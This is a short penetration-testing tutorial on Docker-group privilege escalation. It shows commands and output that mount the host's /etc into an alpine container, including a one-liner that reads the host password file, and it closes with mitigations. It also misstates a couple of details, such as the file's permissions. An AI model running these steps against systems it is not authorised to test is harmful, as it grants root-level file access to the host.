This is a short guide on how to read the host file-system with root privileges as an unprivileged user, abusing the Docker group for privilege escalation.

Table of Contents

Summary

If a user belongs to the docker group, this effectively means that you can create a Docker container with a root user. Using this we can create a mount inside the Docker container mapping to the host file-system and read any files as if we were the root user on the host machine.

Prerequisites

  • Local shell access to victim machine
  • Victim machine running docker
  • Victim machine with a local (none root) user in the docker group

We can check that these prerequisites are met with a few simple commands

Check docker is installed with which

test@victim:~$ which docker
/usr/bin/docker

Check local user is part of the docker group with id

test@victim:~$ id
uid=1000(test) gid=1004(test) groups=1004(test),4(adm),24(cdrom),27(sudo),30(dip),
46(plugdev),108(lxd),1000(lpadmin),1005(docker)

Privilege escalation

This method of privilege escalation abuses user namespaces in Linux, where the User ID (uid) of a user inside a container is mapped to the User ID (uid) of a user on the host. If a user belongs to the Docker group, this effectively means that you can create a Docker container with a root user on the host machine. Using this we can create a mount inside the Docker container mapping to the host file-system and read any files as if we were the root user.

Steps

We can run the lightweight Docker container alpine and use a volume with the -v flag to mount the host file-system within the Docker container. By passing the -it flag we can also spawn an interactive terminal within the Docker container.

test@victim:~$ docker run -v /etc:/root -it alpine
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
05e7bc50f07f: Pull complete
Digest: sha256:a126728cb7db157f0deb377bcba3c5e473e612d7bafc27f6bb4e5e083f9f08c2
Status: Downloaded newer image for alpine:latest

This gives us access to the file-system on the host machine as the root user.

/ # ls -l
total 56
drwxr-xr-x    2 root     root          4096 Dec 10 16:30 bin
drwxr-xr-x    5 root     root           360 Dec 11 12:26 dev
drwxr-xr-x    1 root     root          4096 Dec 11 12:26 etc
drwxr-xr-x    2 root     root          4096 Dec 10 16:30 home
drwxr-xr-x    7 root     root          4096 Dec 10 16:30 lib
drwxr-xr-x    5 root     root          4096 Dec 10 16:30 media
drwxr-xr-x    2 root     root          4096 Dec 10 16:30 mnt
drwxr-xr-x    2 root     root          4096 Dec 10 16:30 opt
dr-xr-xr-x  274 root     root             0 Dec 11 12:26 proc
drwxr-xr-x  100 root     root          4096 Dec 11 12:26 root
drwxr-xr-x    2 root     root          4096 Dec 10 16:30 run
drwxr-xr-x    2 root     root          4096 Dec 10 16:30 sbin
drwxr-xr-x    2 root     root          4096 Dec 10 16:30 srv
dr-xr-xr-x   13 root     root             0 Nov 26 16:39 sys
drwxrwxrwt    2 root     root          4096 Dec 10 16:30 tmp
drwxr-xr-x    7 root     root          4096 Dec 10 16:30 usr
drwxr-xr-x   12 root     root          4096 Dec 10 16:30 var

We can check the permissions on a file that is only usually readable/modifiable by the root user.

/ # ls -l /root/passwd
-rw-r--r--    1 root     root          1618 Jan 16  2020 /root/passwd

Next let’s see if we can read the /etc/passwd file, this will be located at /root/passwd as that’s where we mounted the volume in the first step.

/ # cat /root/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
test:x:1000:1004:test:/home/test:/bin/bash
nginx:x:111:113:nginx user,,,:/nonexistent:/bin/false

One liner

We can shorten this whole process into a one-liner to read the /etc/passwd file of the host file-system.

test@victim:~$ docker run -v /etc:/root alpine cat /root/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
test:x:1000:1004:test:/home/test:/bin/bash
nginx:x:111:113:nginx user,,,:/nonexistent:/bin/false

Mitigation

To mitigate this technique we can run the Docker daemon as a none root user (rootless mode), rootless mode executes the Docker daemon and containers inside a user namespace, which separates the User IDs (uid) and Group IDs (gid) between the host Operating System and containers. More information can be found on the official Docker website.

This can be combined with running the container without root privileges using userns-remap which isolates containers with a user namespace, further reading on this can be found on the official Docker website.